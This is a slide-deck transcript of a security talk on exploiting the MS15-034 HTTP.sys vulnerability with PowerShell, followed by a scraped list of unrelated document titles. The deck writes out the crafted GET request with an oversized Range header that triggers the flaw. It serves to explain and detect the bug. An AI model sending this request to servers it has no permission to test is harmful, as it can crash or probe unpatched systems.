Exploiting MS15-034 In PowerShell

EXPLOITING MS15-034 IN POWERSHELL

KIERAN JACOBSENTECHNICAL LEAD - READIFY

@KJACOBSEN – POSHSECURITY.COM

‘REMOTE CODE EXECUTION’ -IN HTTP.SYS

IF THE BAD GUY CAN EXECUTE CODE ON YOUR BOX, IT ISN’T YOUR BOX

ANYMORE.

HTTP.SYS IS EVERYWHERE

IIS KERNEL CACHING MODULE

ARE WE VULNERABLE?

REQUEST -> RESPONSE

GET / HTTP/1.1HOST: GOOGLE.COMRANGE: BYTES=0-18446744073709551615CONNECTION: CLOSE

GET / HTTP/1.1`R`NHOST: GOOGLE.COM`R`NRANGE: BYTES=0-18446744073709551615`R`NCONNECTION: CLOSE `R`N`R`N

STREAMS

WORKING WITH TCP

MS15034.PSM1

MORE INFORMATION

• MY WEBSITE – HTTP://POSHSECURITY.COM• TWITTER - @KJACOBSEN• MS15-034 MODULE – HTTP://GITHUB.COM/POSHSECURITY/MS15034 • MICROSOFT SECURITY BULLETIN - HTTPS://

TECHNET.MICROSOFT.COM/EN-US/LIBRARY/SECURITY/MS15-034.ASPX

Exploiting MS15-034 In PowerShell

Technology

Transcript of Exploiting MS15-034 In PowerShell

PowerShell let's talk about automation - Microsoft€¦ · Automation? PowerShell: Desired State Configuration PowerShell: Workflows Service Management Automation Agenda PowerShell

Powershell function

PowerShell Commands

PREVIOUS GNEWS. Feb - 9 Patches – 3 Critical - 55 CVEs MS15-009 - Update for Internet Explorer MS15-010 - Windows Kernel-Mode Driver, Remote Code MS15-011.

Agenda for Powershell (Level:200) Powershell Introduction Variable & Object Powershell Operator Loop and Flow Control Function and Debug Powershell.

Powershell Primer

Dell Command | PowerShell Provider Version 1.0 …topics-cdn.dell.com/pdf/dell-command-powershell-provider-v1.0_User... · 1 Introduction Dell Command | PowerShell Provider is a PowerShell

Mastering PowerShell

Introduction to PowerShell€¦ · Title: Introduction to PowerShell Author: Peter McEldowney Subject: PowerShell, Active Directory Keywords: powershell, power shell, active directory,

PowerShell Studio 2020 is the premier Windows PowerShell ... · PowerShell Studio 2020 is the premier Windows PowerShell integrated scripting and tool-making environment. v Fully-featured

PowerShell eBook

Windows: H10 - PowerShell...Windows: H10 - PowerShell Pagina 4 van 30 Process Manipulation PowerShell Cmdlet PowerShell alias cmd.exe bash Purpose Get-Process gps, ps tlist, tasklist

PowerShell crashcourse

. Apr - 11 Patches – 4 Critical - 26 CVEs MS15-032 - Cumulative Security Update for IE MS15-033 - Office, Remote Code MS15-034 - HTTP.sys,

Goodman CB-MS15

PowerShell Shenanigans

POWERSHELL SHENANIGANS LATERAL MOVEMENT WITH POWERSHELL KIERAN JACOBSEN READIFY.

MS15/1.1 Investment and corporate banking market study ... · MS15/1.1 Investment and corporate banking market study – Terms of reference Financial Conduct Authority If you wish

Automate successfully with PowerShell 7...PowerShell 7 - Introduction Windows Linux macOS.NET Framework.NET Core Windows PowerShell 2006 - today PowerShell 7 2016 - today It’s open

PowerShell Studio 2020 is the premier Windows PowerShell ...